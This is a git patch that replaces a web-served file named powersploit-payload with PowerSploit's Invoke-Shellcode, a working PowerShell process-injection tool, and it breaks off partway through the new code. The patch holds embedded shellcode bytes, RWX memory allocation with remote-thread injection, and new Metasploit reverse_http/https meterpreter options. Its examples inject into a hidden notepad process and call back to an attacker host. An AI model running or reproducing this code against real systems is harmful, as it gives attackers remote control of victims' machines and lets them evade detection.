From 6652f0ee239acba413e685016d44bed198705b9c Mon Sep 17 00:00:00 2001 From: thel3l Date: Mon, 19 Sep 2016 13:48:23 +0530 Subject: [PATCH] updated powersploit-payload --- var/www/html/powersploit-payload | 1276 ++++++++++++++++++------------ 1 file changed, 763 insertions(+), 513 deletions(-) diff --git a/var/www/html/powersploit-payload b/var/www/html/powersploit-payload index e8c4e83..5fa421d 100644 --- a/var/www/html/powersploit-payload +++ b/var/www/html/powersploit-payload @@ -1,513 +1,763 @@ -function Invoke-Shellcode -{ -<# -.SYNOPSIS - -Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. - -PowerSploit Function: Invoke-Shellcode -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre - -PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): - -msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- - -Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. - -.PARAMETER ProcessID - -Process ID of the process you want to inject shellcode into. - -.PARAMETER Shellcode - -Specifies an optional shellcode passed in as a byte array - -.PARAMETER Force - -Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. - -.EXAMPLE - -C:\PS> Invoke-Shellcode -ProcessId 4274 - -Description ------------ -Inject shellcode into process ID 4274. - -.EXAMPLE - -C:\PS> Invoke-Shellcode - -Description ------------ -Inject shellcode into the running instance of PowerShell. - -.EXAMPLE - -C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - -Description ------------ -Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) -Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! -#> - -[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( - [ValidateNotNullOrEmpty()] - [UInt16] - $ProcessID, - - [Parameter( ParameterSetName = 'RunLocal' )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode, - - [Switch] - $Force = $False -) - - Set-StrictMode -Version 2.0 - - if ( $PSBoundParameters['ProcessID'] ) - { - # Ensure a valid process ID was provided - # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive - Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null - } - - function Local:Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - function Local:Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload - function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) - { - $IntSizePtr = $Architecture / 8 - - function Local:ConvertTo-LittleEndian ([IntPtr] $Address) - { - $LittleEndianByteArray = New-Object Byte[](0) - $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } - [System.Array]::Reverse($LittleEndianByteArray) - - Write-Output $LittleEndianByteArray - } - - $CallStub = New-Object Byte[](0) - - if ($IntSizePtr -eq 8) - { - [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode - $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode - $CallStub += 0xFF,0xD0 # CALL RAX - $CallStub += 0x6A,0x00 # PUSH BYTE 0 - $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread - $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread - $CallStub += 0xFF,0xD0 # CALL RAX - } - else - { - [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode - $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode - $CallStub += 0xFF,0xD0 # CALL EAX - $CallStub += 0x6A,0x00 # PUSH BYTE 0 - $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread - $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread - $CallStub += 0xFF,0xD0 # CALL EAX - } - - Write-Output $CallStub - } - - function Local:Inject-RemoteShellcode ([Int] $ProcessID) - { - # Open a handle to the process you want to inject into - $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - - if (!$hProcess) - { - Throw "Unable to open a process handle for PID: $ProcessID" - } - - $IsWow64 = $false - - if ($64bitOS) # Only perform theses checks if CPU is 64-bit - { - # Determine if the process specified is 32 or 64 bit - $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - - if ((!$IsWow64) -and $PowerShell32bit) - { - Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.' - } - elseif ($IsWow64) # 32-bit Wow64 process - { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Injecting into a Wow64 process.' - Write-Verbose 'Using 32-bit shellcode.' - } - else # 64-bit process - { - if ($Shellcode64.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode64 variable!' - } - - $Shellcode = $Shellcode64 - Write-Verbose 'Using 64-bit shellcode.' - } - } - else # 32-bit CPU - { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Using 32-bit shellcode.' - } - - # Reserve and commit enough memory in remote process to hold the shellcode - $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - - if (!$RemoteMemAddr) - { - Throw "Unable to allocate shellcode memory in PID: $ProcessID" - } - - Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" - - # Copy shellcode into the previously allocated memory - $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null - - # Get address of ExitThread function - $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - - if ($IsWow64) - { - # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. - $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 - - Write-Verbose 'Emitting 32-bit assembly call stub.' - } - else - { - # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. - $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 - - Write-Verbose 'Emitting 64-bit assembly call stub.' - } - - # Allocate inline assembly stub - $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) - - if (!$RemoteStubAddr) - { - Throw "Unable to allocate thread call stub memory in PID: $ProcessID" - } - - Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" - - # Write 32-bit assembly stub to remote process memory space - $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null - - # Execute shellcode as a remote thread - $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - - if (!$ThreadHandle) - { - Throw "Unable to launch remote thread in PID: $ProcessID" - } - - # Close process handle - $CloseHandle.Invoke($hProcess) | Out-Null - - Write-Verbose 'Shellcode injection complete!' - } - - function Local:Inject-LocalShellcode - { - if ($PowerShell32bit) { - if ($Shellcode32.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode32 variable!' - return - } - - $Shellcode = $Shellcode32 - Write-Verbose 'Using 32-bit shellcode.' - } - else - { - if ($Shellcode64.Length -eq 0) - { - Throw 'No shellcode was placed in the $Shellcode64 variable!' - return - } - - $Shellcode = $Shellcode64 - Write-Verbose 'Using 64-bit shellcode.' - } - - # Allocate RWX memory for the shellcode - $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$BaseAddress) - { - Throw "Unable to allocate shellcode memory in PID: $ProcessID" - } - - Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" - - # Copy shellcode to RWX buffer - [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) - - # Get address of ExitThread function - $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - - if ($PowerShell32bit) - { - $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 - - Write-Verbose 'Emitting 32-bit assembly call stub.' - } - else - { - $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 - - Write-Verbose 'Emitting 64-bit assembly call stub.' - } - - # Allocate RWX memory for the thread call stub - $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - if (!$CallStubAddress) - { - Throw "Unable to allocate thread call stub." - } - - Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" - - # Copy call stub to RWX buffer - [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) - - # Launch shellcode in it's own thread - $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) - if (!$ThreadHandle) - { - Throw "Unable to launch thread." - } - - # Wait for shellcode thread to terminate - $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null - - $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) - $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) - - Write-Verbose 'Shellcode injection complete!' - } - - # A valid pointer to IsWow64Process will be returned if CPU is 64-bit - $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process - - $AddressWidth = $null - - try { - $AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth - } catch { - throw 'Unable to determine OS processor address width.' - } - - switch ($AddressWidth) { - '32' { - $64bitOS = $False - } - - '64' { - $64bitOS = $True - - $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) - $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) - } - - default { - throw 'Invalid OS address width detected.' - } - } - - if ([IntPtr]::Size -eq 4) - { - $PowerShell32bit = $true - } - else - { - $PowerShell32bit = $false - } - - if ($PSBoundParameters['Shellcode']) - { - # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets - # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. - [Byte[]] $Shellcode32 = $Shellcode - [Byte[]] $Shellcode64 = $Shellcode32 - } - else - { - # Pop a calc... or whatever shellcode you decide to place in here - # I sincerely hope you trust that this shellcode actually pops a calc... - # Insert your shellcode here in the for 0xXX,0xXX,... - # 32-bit payload - # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread - [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, - 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, - 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, - 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, - 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, - 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, - 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, - 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, - 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, - 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, - 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, - 0x61,0x6c,0x63,0x00) - - # 64-bit payload - # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread - [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, - 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, - 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, - 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, - 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, - 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, - 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, - 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, - 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, - 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, - 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, - 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, - 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, - 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, - 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, - 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) - } - - if ( $PSBoundParameters['ProcessID'] ) - { - # Inject shellcode into the specified process ID - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx - $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) - $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory - $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) - $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread - $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - - Write-Verbose "Injecting shellcode into PID: $ProcessId" - - if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', - "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) - { - Inject-RemoteShellcode $ProcessId - } - } - else - { - # Inject shellcode into the currently running PowerShell process - $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc - $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) - $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) - $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree - $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool]) - $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) - $CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread - $CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) - $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) - $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject - $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) - $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - - Write-Verbose "Injecting shellcode into PowerShell" - - if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', - "Injecting shellcode into the running PowerShell process!" ) ) - { - Inject-LocalShellcode - } - } -} +function Invoke-Shellcode +{ +<# +.SYNOPSIS + +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. + +.PARAMETER ProcessID + +Process ID of the process you want to inject shellcode into. + +.PARAMETER Shellcode + +Specifies an optional shellcode passed in as a byte array + +.PARAMETER ListMetasploitPayloads + +Lists all of the available Metasploit payloads that Invoke-Shellcode supports + +.PARAMETER Lhost + +Specifies the IP address of the attack machine waiting to receive the reverse shell + +.PARAMETER Lport + +Specifies the port of the attack machine waiting to receive the reverse shell + +.PARAMETER Payload + +Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. + +.PARAMETER UserAgent + +Optionally specifies the user agent to use when using meterpreter http or https payloads + +.PARAMETER Proxy + +Optionally specifies whether to utilize the proxy settings on the machine. + +.PARAMETER Legacy + +Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. + +.PARAMETER Force + +Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ProcessId 4274 + +Description +----------- +Inject shellcode into process ID 4274. + +.EXAMPLE + +C:\PS> Invoke-Shellcode + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +.EXAMPLE + +C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden +C:\PS> $Proc = Get-Process notepad +C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose + +VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM +VERBOSE: Injecting shellcode into PID: 4004 +VERBOSE: Injecting into a Wow64 process. +VERBOSE: Using 32-bit shellcode. +VERBOSE: Shellcode memory reserved at 0x03BE0000 +VERBOSE: Emitting 32-bit assembly call stub. +VERBOSE: Thread call stub memory reserved at 0x001B0000 +VERBOSE: Shellcode injection complete! + +Description +----------- +Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_https): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 443 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 + +Description +----------- +Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_http): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 80 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ListMetasploitPayloads + +Payloads +-------- +windows/meterpreter/reverse_http +windows/meterpreter/reverse_https + +.NOTES + +Use the '-Verbose' option to print detailed information. + +Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter + +Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ + +.LINK + +http://www.exploit-monday.com +#> + +[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateSet( 'windows/meterpreter/reverse_http', + 'windows/meterpreter/reverse_https', + IgnoreCase = $True )] + [String] + $Payload = 'windows/meterpreter/reverse_http', + + [Parameter( ParameterSetName = 'ListPayloads' )] + [Switch] + $ListMetasploitPayloads, + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateNotNullOrEmpty()] + [String] + $Lhost = '127.0.0.1', + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateRange( 1,65535 )] + [Int] + $Lport = 8443, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [String] + $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent', + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Legacy = $False, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Proxy = $False, + + [Switch] + $Force = $False +) + + Set-StrictMode -Version 2.0 + + # List all available Metasploit payloads and exit the function + if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') + { + $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | + Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} + + foreach ($Payload in $AvailablePayloads.ValidValues) + { + New-Object PSObject -Property @{ Payloads = $Payload } + } + + Return + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Ensure a valid process ID was provided + # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive + Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null + } + + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = 